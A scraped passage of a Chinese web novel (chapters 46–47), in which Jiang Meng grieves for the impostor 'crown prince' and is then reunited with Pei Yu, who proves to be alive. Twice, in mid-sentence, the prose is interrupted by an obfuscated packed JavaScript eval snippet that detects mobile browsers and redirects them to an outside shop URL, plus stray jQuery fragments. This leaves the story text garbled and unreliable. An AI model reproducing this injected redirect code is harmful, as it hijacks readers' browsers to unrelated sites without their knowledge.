他伸手紧紧抓住刘刺史干巴的肩膀,一脚先踩住他麻杆儿似的大腿,还没用力,那腿已经开始筛糠似的抖了。他心里也有些怨怼,平时就叫他多吃点儿,男子汉大丈夫,瘦的跟猴似的……这能不能撑住他啊,别再给摔了。 似乎是回应他的期待,刘刺史只感觉自己身上有头猪在蛄蛹,他再也支撑不住,腿一软,直接坐下了。 连带着身后的司马,结结实实摔了个屁股蹲。 司马猝不及防,一臀部的肉毫无保留地拍在地上,疼的他没忍住,“哎呦”了一声。 “谁在里面?!” 司马连忙捂住嘴巴,惊恐地瞪大眼睛。刘刺史也在瞪他,满眼恨铁不成钢。 “没有人,你听错了。”裴预的声音悠悠道。 刘刺史从那话音里听出几分笑意,他恨的咬住后槽牙,你就玩儿吧,他想,等我们出去了,你可就玩儿砸了。 这次司马老老实实蹲在了下面。 刘刺史踩着他大腿,又踩到他肩上,司马哼哧哼哧地托举着他站起来。两个五十来岁的州官,此时也顾不得什么斯文什么仪态,就好似爬人家墙的小瘪三一样,一个摞一个,爬上了窗户。 刘刺史双手一把勾住窗框,双臂用力想把自己拉上去。可惜他臂力不够,拉不上去,只好双腿蹬住下面借力。可怜司马在下头,被他一脚一脚踩着脑瓜子,疼的要命,还不能吭声,两个眼都憋得泪汪汪的。 终于,刘刺史爬上了窗户,他高兴地探出身子准备跳下去,就看到窗户下头竟然站着一个人。 看衣裳,似乎是巡按身边的侍卫,抬头见到他,吃惊地瞪大了眼睛。 “……” 两人大眼瞪小眼一会儿,最终,刘刺史万念俱灰地开口: “要不你接我一下呢。” 46. 第46劫 重逢 江蒙抹了把脸。 水珠挂在她浓黑眉睫上,顺着肌理往下流,一路流过眼睛,抿起的薄唇,最后流进脖颈。五月中旬,即将入夏,天气已经很暖,江蒙衣领被打湿也并不觉得冷。 她回破棚屋拿了自己的行李,说是行李,也就一个破藤筐,里头一只破碗,几块布头。她把那破筐挂到根树枝上,扛到肩上,出了破棚屋。 太阳已经跳出地平线,万丈霞光中,江蒙顺着土坡往前走。 先前赵大姐和官府给她的几千两银子,还有新买的那把刀,早在牢里被收走了。现在她又变回了最开始时的穷光蛋,身上一个子儿没有,全靠捡点儿破烂,偶尔卖点力气过活。 一面赶路,一面讨生活。 江蒙对此倒没什么所谓,她习惯了,不饿死就行。那些钱财本来也都是别人给的,又不是她靠自己赚来的,所以算是飞来横财。那既然能飞来,就也能飞走。都很正常。 唯一惋惜的,是爹留给她的刀,被她弄丢了。 也许不是唯一惋惜的事? 因为太子死了。 她还是习惯叫他太子。尽管他告诉过她名字,元度,但江蒙现在不能确定是不是在骗她。 总之,他死了。 但是说惋惜不够准确,想起丢刀她会叹气,但想起这件事,她会喘不上气,这是远比惋惜更加痛苦的心情。江蒙觉得,自己是伤心了。 她很伤心。 那天从大牢里出来以后,她一面低头走,一面忍不住掉眼泪,一开始还想忍着,抽着气想把眼泪憋回去。但后来就完全憋不住,慌忙走到路边,头抵到墙上。 她在大街上,对着墙大哭了一场。 无数行人在她背后侧目,江蒙豪不觉察。她觉得自己要把身体里所有的水都哭出去,她停不下来,大脑一片空白,没在想什么,只是在单纯地发泄。等到她终于止住抽噎,浑浑噩噩地一抬头,才发现太阳已经升到最上空了。 她坐到墙根,发呆。 有点儿不知道该做什么,不知道该往哪里去。 她呆呆地看着街上人来人往。有个人往她脚边扔了个铜板。 日影下斜,江蒙终于站起身,用那枚铜板买了个烧饼,向城外走去。 她要回家。 吴婶死后,她一心想着报仇,所以来了京城。但他死了,她不知道该向谁报仇,他冒充大官骗人,官府处死他,好像也是天经地义的事。 可江蒙还是很伤心。 老秀才曾和她说过,人活着和死了没太大区别,譬如庄周梦蝶,在你看来她死了,在她看来则是你死了。也许都没死,都活着,只是此后永远见不着面而已。 江蒙当时没听懂他什么意思,现在有点儿明白了。她可以当他还活着,只是他们在酒楼分开了,在太平寺分开了,在豆城分开了,她回她的村子,他回他的京城。 只是永远不会再见而已。 江蒙这半个月一直在加紧赶路,很奇怪的一点是,太子在的时候她不太会顾及这个人,但分开之后,她却经常想起他。 江蒙深深吐出一口气。 可能这辈子,都忘不掉这段经历。 忘不掉这个人了。 江蒙不再假装,她不至于为了回避痛苦就自欺欺人。她接受他死了,也接受会想起他,在时常涌现的记忆碎片里,再次认识这个人,并且第一次思考他是个什么样的人。 太不一样了,这人和她之前碰到的都太不一样了。 江蒙坐在火堆旁边烤饼,望向跳动的火焰时,她不由得想起另一张脸。曾经在火焰对面的那张脸。 她甚至可以清晰地看见他的轮廓,每一寸都长得正正好,火光把他的皮肤映的通红,他抬起眼睛,眉目的线条流畅美丽。 他微微笑了。 江蒙把烤好的饼送到嘴边,有点干巴,她想喝鱼粥了。于是她又想起他淘米的样子。 天下怎么会有一粒一粒剥米的人。 江蒙那时只觉得不可思议,但现在她在想,为什么他会不知道如何淘米呢? 他是从没有做过这种事情吗,可为什么他没有做过?他没有做过难道没有见过? 一连串的问题涌现,他人在的时候她光顾着嫌弃此人怪异,觉得跟他相处不来,但从没有想过为什么他会是这样。 他究竟是如何发现自己和姓裴的长得一模一样,又是为何决定要冒充他,他说要青史留名,他为什么非要青史留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723821|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名? 江蒙突然发现自己对他一无所知。 人都死了,她在心底暗骂自己,现在好奇有莫子用? 但这似乎成为一种让人上瘾的游戏,她赶路无聊的时候,就不再发呆,而是猜这些问题。她猜他原本是个穷人家的小孩,裴家把他买过去,不是经常有那种说法吗,有钱人家的小孩子体弱,就会再买一个年岁、相貌都相仿的小孩,养在家里挡煞。 他从小就和真正的裴预长在一块儿,俩人越长越像…… “路引。” 守兵的话打断了她的思路,江蒙从怀里掏出路引递给他,自己抬头看城门上的匾额。快了,再过几个城,就能回村了。 这是她回乡的必经之城,江蒙刚好干粮也吃完了,索性到市场上,往牲口旁边一站,等着别人招短工,她能去卖卖力气赚两个钱。 等到俩人都十八岁的时候,裴家惊讶地发现,他们居然长得一模一样。而且因为从小都是一个先生教的,学识、礼仪……都一模一样。只不过性格一个天上一个地下,他脾气好、心肠好、讲义气,真正的裴家小子却又贪又懒…… “喂,搬木头,干不干?”有人问她,“一天十个钱。” 江蒙点点头。 她跟在那人后面,往工地上走,走到一半,鞋底突然掉了。她打了个招呼让他等等,自己蹲下来捡鞋底。 这双鞋穿了好几年,又高强度走了仨月的路,早已经磨得不成样子,只是江蒙没钱换。她从破筐里拿出块布头,在脚背上缠了两圈,愣是把底儿又缠了上去。 站起来看着还好,只是一走起来,脚后跟就啪嗒啪嗒的。 两步过后,鞋底儿又错了位,江蒙只好又停下来。 她这次绑的更结实了些,站起来,正打算继续走,余光扫到旁边的告示栏,不由得顿住。 她看见了熟人。 半个月过去,天下又发生了许多大事,比方说皇上居然下了旨说不远征了,不用交军粮了,被强征过去当兵的壮丁也可以各回各家了。又比方说赵大姐的义军被官军围剿后惨败,只有赵大姐母女和几个人逃了出去。 现在告示栏上的通缉令,就换成了她们。 江蒙握紧拳头。 47. 第47劫 五月雷 柳烟看着江蒙高兴激动的样子,悬着的心也终于放了下来。天知道她家那位公子有多紧张,生怕人家不乐意见他,说不能直接去问,要给她一个“不能拒绝的条件”。 于是一拨人发了疯似的去找人,另外一拨人发了疯似的去找刀。 一把刀,还是一把粗制滥造的旧刀,还是俩月前被收缴的旧刀,谁知道扔哪儿去了?公子不管,板着脸下令说必须找到,查收缴清单,查库房的每一个角落,查不到就去问当时负责清缴无极教的官吏,一个都不许漏的挨个问。 这么多年,他还是第一次要为了自己的私事大动干戈,柳烟也只好从命。一群人去涿郡的仓库里没日没夜地翻,吓得库房总管自己爆出了从官库里贪的东西,自行认罪了。没想到居然还顺带查出了个贪官,柳烟哭笑不得。 之后公子忙的好似陀螺,因着叫停远征一事,并非简简单单颁个圣旨就可以,后续各种用人调整、政策变化、物资调配、安抚情绪……好像有几万件事要考虑,连身为下属的柳烟都有些吃不消,更别提要做决定的公子本人。 夙兴夜寐是小事,通宵达旦是经常,有时一天连顿饭也没时间吃。 可偏偏忘不了这事,一见到她第一句话:找到了吗? 柳烟硬着头皮:没呢。 人?还是刀? 都还尚未找到。 他就不说话了,并没有责怪,也没有叹气,只是沉默。但这种带着焦心和忧虑的沉默尤其致命,柳烟往往落荒而逃。 找不到他焦虑,找到了他竟然还是焦虑,抱着那把旧刀跟抱宝贝似的,忧心忡忡地沉吟:他可能还是不要再见她为好。 柳烟第一次发现,公子竟然是这样瞻前顾后、犹豫不决的人么? 他翻手为云覆手为雨的胆魄哪儿去了? 他抽出刀,手指在刀刃上抚过,柳烟觑着他脸色,出谋划策道,如果他认为不该见,那么她可以代他出面把刀交还,告诉江蒙他还活着。从此一别两宽,也无遗憾。 公子皱眉看了她一眼。 得,柳烟明白自己揣摩错了意思,这是真想见人家。 “我不想至死她还不知我是谁。”最后他说,“我要当面和她说清楚。即便她因此厌我,我也认了。” 江姑娘会厌恶他么? 柳烟觉得,也未必。 她望向一旁的江蒙,这人身上穿的破破烂烂堪比叫花子,但本人却毫不在意,没有半点遮掩,旁若无人地穿着掉了底儿的烂鞋子。她个子高挑,身材精瘦,一张脸没有半点粉黛,甚至可以说是糙,但是很俊。 柳烟注意到她的眉眼格外黝黑,尤其是她的眼睛,眼神,当她望过来时,所有的心思都不加掩饰地传达过来,简单直接地告诉你,她在想什么。 不需要揣摩,不需要深究,那些令人疲惫的过程都不需要有,她像日光下清澈的浅水,一眼就可以望到底。 世上竟有人能“真”到这种程度。 这下柳烟有点明白公子的忧虑,和这人相比,他们这些人确实过于矫饰虚伪,难免自惭形秽。 但看江蒙高兴到几乎喜极而泣的样子,柳烟又觉得,公子似乎低估了他在江蒙心里的地位,依她看来,江蒙远比他以为的更看重他,欺瞒身份这种事可能会让她发怒,但不会因此厌恶他。 然而柳烟这么想。裴预却不敢这么想。 他坐在雅间窗边,一杯接着一杯喝茶,街上行人如织,他却总没见到想看到的那个身影。 这个柳烟,动作怎么这样慢! 裴预忍不住站起来,在屋内踱步,走了两步又冷静下来,觉得柳烟挺无辜,于是又按捺心绪坐下。 强迫自己继续桌上未完成的折子。 他到这里可谓是百忙之中硬抽出了时间,算是极为任性的举动,为了尽量不耽误事情,他一路上都在马车上办公,到了这里以后也是纸笔不离手。最迟明晚,他就必须离开这里,动身回京。 向皇上建言停止远征后,果不其然引得龙颜大怒,那时他跪在御书房,愣是没敢躲砸过来的砚台。砚台把他额角划破了一道口子,血顺着脸往下流,他眼睛都不眨地接着陈情。 干系天下民生,比此身重要,比皇上重要。 之后总算是说服了皇上,但也大大得罪了他,韩一成那老家伙见状,见缝插针地作妖要置他于死地。皇上也一反常态,似乎要偏向韩一成那边,好几次当朝斥责他。 人人都怀疑裴右相要完了,唯独裴预本人沉得住气,万事兵来将挡,水来土掩。先前这老家伙在他身边安插了细作,裴预也还无暇去彻底排查,只能尽量自己小心。等这次回京,他打算从上到下清洗一遍。 忽然,传来门扉打开的声音。 很细微的动静,落在裴预耳中却不啻惊雷,他猛地转头,就见门外站着一个人。 江蒙。 裴预猛地起身,盯着她,两人视线相接。他慢慢朝她走过去。她的形象逐渐更清晰,衣裳、发丝、那双眼睛。 她瘦了。 裴预张了张唇,待要说什么,江蒙却已经三步并作两步,扑过来抱住了他。 裴预肩颈一沉,怀里是她的重量。她抱得结结实实,双臂牢牢箍住他脖子,像是要把他揉进身体。太好了,她的声音在耳边响起,有些哽咽,你还活着。 裴预心一酸,万语千言都不再想说,只张开双臂,紧紧回抱住她。 嗯。他埋首在她肩窝,闷闷地回应道。 柳烟早识趣地让所有人退下,顺手关上了门。 两人仿佛死里逃生般相拥,把所有情绪都宣泄在这一个拥抱里。似乎过了很久,又似乎只是很短时间以后,江蒙终于缓过神。 她慌忙抹掉眼泪,大力拍了两下裴预的背,放开了他。 她高兴,同时也很疑惑,问了一连串的问题。裴预微笑:“之后与你细说。咱们先吃饭。” 他看着江蒙有些凹陷下去的脸颊,忧心道:“你瘦了太多。” 江蒙哈哈一笑,她这半个月高强度赶路,又没钱吃饭,瘦是难免的。方才光顾着激动还不觉得,现在平静下来,只觉得肚饿难忍。见到桌上茶水瓜果点心,抓起便吃。 好久没吃上这么好吃的东西了。 裴预给她倒茶,让她少吃点儿,留点肚子吃正菜。江蒙连连点头,一口左手的梨一口右手的绿豆糕,接过裴预捧过来的茶一气喝下,香甜满口。她指着桌上堆着的折子,问这是什么书? 裴预拿过她的空杯续茶,微笑着看她好奇的眼神,温和答道:“这不是书,这是大臣给皇上呈报政事的奏章,也叫折子。” 江蒙一惊:“那这玩意儿怎么会在你这里?”他不会又在冒充大官吧? 裴预将那堆东西收拾好,打算饭后跟她说清楚,但这时柳烟进来,说有要事禀报。 若不是急事,她断然不会在这个时候打扰,裴预只得出去——果然是要事,是皇上身边的一位公公要见他。裴预吃了一惊,在这个节骨眼上,公公不远千里前来见他,不管是好是坏,必是大事。这下不得不见,他只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733195|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好和江蒙打了个招呼,交代柳烟几句,匆匆离去。 见了以后,那公公满面笑容,先递给他一只匣子。 “这是今年刚熟的玉巴达,皇上吃着甚好,想起您不在京中,怕您吃不着,特命奴婢给您送来。” 裴预跪下谢恩。 一匣子鲜艳的杏,还散着冰的凉气,他收好放到一边,心中波澜起伏。 他赢了。 招待完公公已是深夜,裴预一身酒气,顾不上疲乏,急匆匆往回赶。他在这里临时租了一处小宅子做住处,到了之后,柳烟跟他说江姑娘在里面等他。裴预一惊:这样晚了怎么不劝她先睡下?这早过了她睡觉的点了。柳烟无奈:劝过了,没用。 裴预连忙抬步进去。 过了花厅便是内宅,直奔江蒙所在的客房而去,这是个小小的庭院,门口站着几个侍者,是被江蒙赶出来的,说是不喜欢有人伺候。裴预让侍者们留在外头,自己一个人提了一盏纸灯笼进去。 天像是要下雨,月亮被乌云遮住,一点月色也无。绕过庭中繁盛的紫薇花树,裴预借着灯笼的暖光,看见廊下躺了一个人。 走近一瞧,果然是呼呼大睡的江蒙。 恐怕是在廊下坐着等他,等着等着撑不住睡着了。裴预哭笑不得,将灯笼轻轻放到一边,脱下外袍盖到她身上。 他坐到旁边,低头看她的脸。 他怕晃着她眼睛,因此将灯笼放的远,于是照到她脸上的灯火,便极为幽微。江蒙酣睡的眉眼浸在这样暗的暖光里,显得格外朦胧。 天边隐隐传来轰隆的闷响。 裴预看了看晦暗的天空,要下雨了,他低下头,轻轻地叫她。 “江蒙。” 她自然是叫不醒的,睡得格外沉。她本身体热,总是跟小火炉一样,雨前的夜晚又闷热,于是她出了汗,发丝都黏在脸颊上。 裴预微笑,伸手去帮她拨开头发。 他本是下意识的举动,然而在手指碰到她脸颊的那一刻,微暖微润的触感,让他忽然僵住。这样不妥,他忽然意识到,过分亲昵了。 裴预的手指悬停在江蒙脸上方,而江蒙闭着眼睛,无知无觉。 他的心加速跳动起来,像是做贼心虚。他觉得自己有些可笑,慌张什么?什么男女大防、授受不亲,他跟江蒙根本没注意过这些,死里逃生时手牵手、背靠背、甚至拥抱。现在只不过是帮她拨一下头发,有什么可心虚的? 轰隆隆的闷响越来越密集,裴预感到丝丝凉风吹来。 快下雨了。 裴预说服自己,放下手指,指腹轻轻拨起她额上的发丝,推向一边。江蒙的眉眼被他手掌遮住,随着他的动作,慢慢展露。他的心越跳越快,控制不了,害怕她忽然睁开眼。 又隐隐期待。 情绪简直像一团浆糊,裴预也分不清,他凝视江蒙的睡脸,在此之前他也这样凝视过许多次,她英气俊美,然而睡着时眉眼舒展,有种孩童般的天真无虑。他望着她,心中就升起一股喜悦,又像是缺了一块。 那种空落落的感觉愈发强烈,他忍不住再次伸出手指,描摹过她眉眼。 忽然一声惊雷炸响! 几乎是顷刻,大雨倾盆而下,狂风席卷,一树紫薇花片片飞洒,携风带雨吹到廊下,又尽数被裴预的袖子挡住。 他站在江蒙身前,背对庭院,脊背将风、雨、花挡在外面。他低头看着江蒙,眼底映着雪亮闪电,乍明乍暗。 良久他微笑起来。 他完了。